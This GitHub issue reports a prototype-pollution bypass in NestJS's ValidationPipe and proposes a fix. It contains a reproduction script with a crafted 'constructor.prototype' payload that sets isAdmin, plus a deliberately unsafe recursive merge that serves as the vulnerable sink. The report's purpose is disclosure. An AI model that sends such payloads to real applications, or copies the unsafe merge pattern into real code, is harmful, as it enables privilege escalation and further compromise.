Skip to content

Prototype Pollution Protection Bypass in ValidationPipe via 'constructor' property #16050

@Bouquets-ai

Description

@Bouquets-ai

Is there an existing issue for this?

  • I have searched the existing issues

Current behavior

he built-in ValidationPipe attempts to sanitize input payloads against prototype pollution by using the stripProtoKeys method. Currently, this method recursively deletes the proto property but fails to strip the constructor and prototype properties.

When an application uses the default Express adapter (which allows constructor in the body) and ValidationPipe, an attacker can send a crafted payload containing a constructor property.

Although class-transformer might not automatically assign constructor.prototype during the transformation process (depending on configuration), the malicious constructor property persists on the transformed DTO instance.

If this transformed DTO is subsequently used in an unsafe merge operation (e.g., merging configuration, updating database entities via Object.assign, or using recursive merge utilities like lodash.merge), it leads to Prototype Pollution.

This can potentially result in:

Denial of Service (DoS): By polluting Object.prototype with recursive structures or throwing properties.
Remote Code Execution (RCE): If combined with gadgets in dependencies (e.g., template engines like EJS, which look for properties on the prototype chain).

Minimum reproduction code

https://github.com/nestjs/nest

Steps to reproduce

Since this is a logic flaw in the core sanitization method, I have created a standalone reproduction script that demonstrates the bypass without needing a full repository setup.

  1. Create a file named reproduce_issue.ts :
import { ValidationPipe } from '@nestjs/common';
import { plainToInstance, Expose } from 'class-transformer';
import 'reflect-metadata';

// 1. Setup a standard DTO
class UserDto {
  @Expose()
  name: string;
}

// 2. Expose the protected stripProtoKeys method for testing
class TestValidationPipe extends ValidationPipe {
  public publicStripProtoKeys(value: any) {
    this.stripProtoKeys(value);
  }
}

async function run() {
  const pipe = new TestValidationPipe();

  // 3. Crafted Payload targeting constructor.prototype
  const payload = JSON.parse(`{
    "name": "Attacker",
    "constructor": {
      "prototype": {
        "isAdmin": true
      }
    }
  }`);

  console.log('--- Step 1: Sanitization ---');
  pipe.publicStripProtoKeys(payload);
  
  if (payload.constructor && payload.constructor.prototype && payload.constructor.prototype.isAdmin) {
    console.log('[!] Bypass Successful: ValidationPipe failed to strip "constructor" property.');
  }

  console.log('\n--- Step 2: Transformation (class-transformer) ---');
  // Simulating the pipe's internal transformation logic
  const userDto = plainToInstance(UserDto, payload);
  
  // The 'constructor' property persists on the instance!
  if (userDto['constructor'] && userDto['constructor']['prototype']) {
     console.log('[!] Risk Confirmed: "constructor" property persists on the output DTO instance.');
  }

  console.log('\n--- Step 3: Vulnerable Sink (Unsafe Merge) ---');
  // Simulating a common developer pattern: merging DTO into an existing object/config
  const dbEntry = {};
  const unsafeMerge = (target, source) => {
    for (const key in source) {
        if (typeof source[key] === 'object' && source[key] !== null) {
            if (!target[key]) target[key] = {};
            unsafeMerge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
  };

  try {
    unsafeMerge(dbEntry, userDto);
  } catch(e) {}

  // Check Global Pollution
  const testObj: any = {};
  if (testObj.isAdmin) {
      console.log('[!!!] CRITICAL: Object.prototype has been polluted!');
  } else {
      console.log('[*] No pollution detected (this time).');
  }
}

run();

2.Run the script: npx ts-node reproduce_issue.ts

--- Step 1: Sanitization ---
[!] Bypass Successful: ValidationPipe failed to strip "constructor" property.

--- Step 2: Transformation (class-transformer) ---
[!] Risk Confirmed: "constructor" property persists on the output DTO instance.

--- Step 3: Vulnerable Sink (Unsafe Merge) ---
[!!!] CRITICAL: Object.prototype has been polluted!

Expected behavior

The stripProtoKeys method in ValidationPipe should explicitly filter out the constructor and prototype properties to prevent them from reaching the application logic.

Proposed Fix in packages/common/pipes/validation.pipe.ts :

  if (value == null || typeof value !== 'object' || types.isTypedArray(value)) {
    return;
  }
  if (Array.isArray(value)) {
    for (const v of value) {
      this.stripProtoKeys(v);
    }
    return;
  }
  delete value.__proto__;
  delete value.constructor; // <--- Add this
  delete value.prototype;   // <--- Add this
  for (const key in value) {
    this.stripProtoKeys(value[key]);
  }
}

NestJS version

11.1.x

Packages versions

{
  "@nestjs/common": "^11.1.x",
  "@nestjs/core": "^11.1.x",
  "class-transformer": "^0.5.1",
  "reflect-metadata": "^0.2.0"
}

Node.js version

20.10.0

In which operating systems have you tested?

  • macOS
  • Windows
  • Linux

Other

Vulnerability proof:
I built the environment using Nest-11.1.9,Successfully implanted malicious attributes into the server's memory, proving the existence of high-risk security vulnerabilities in this NestJS version
Image

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions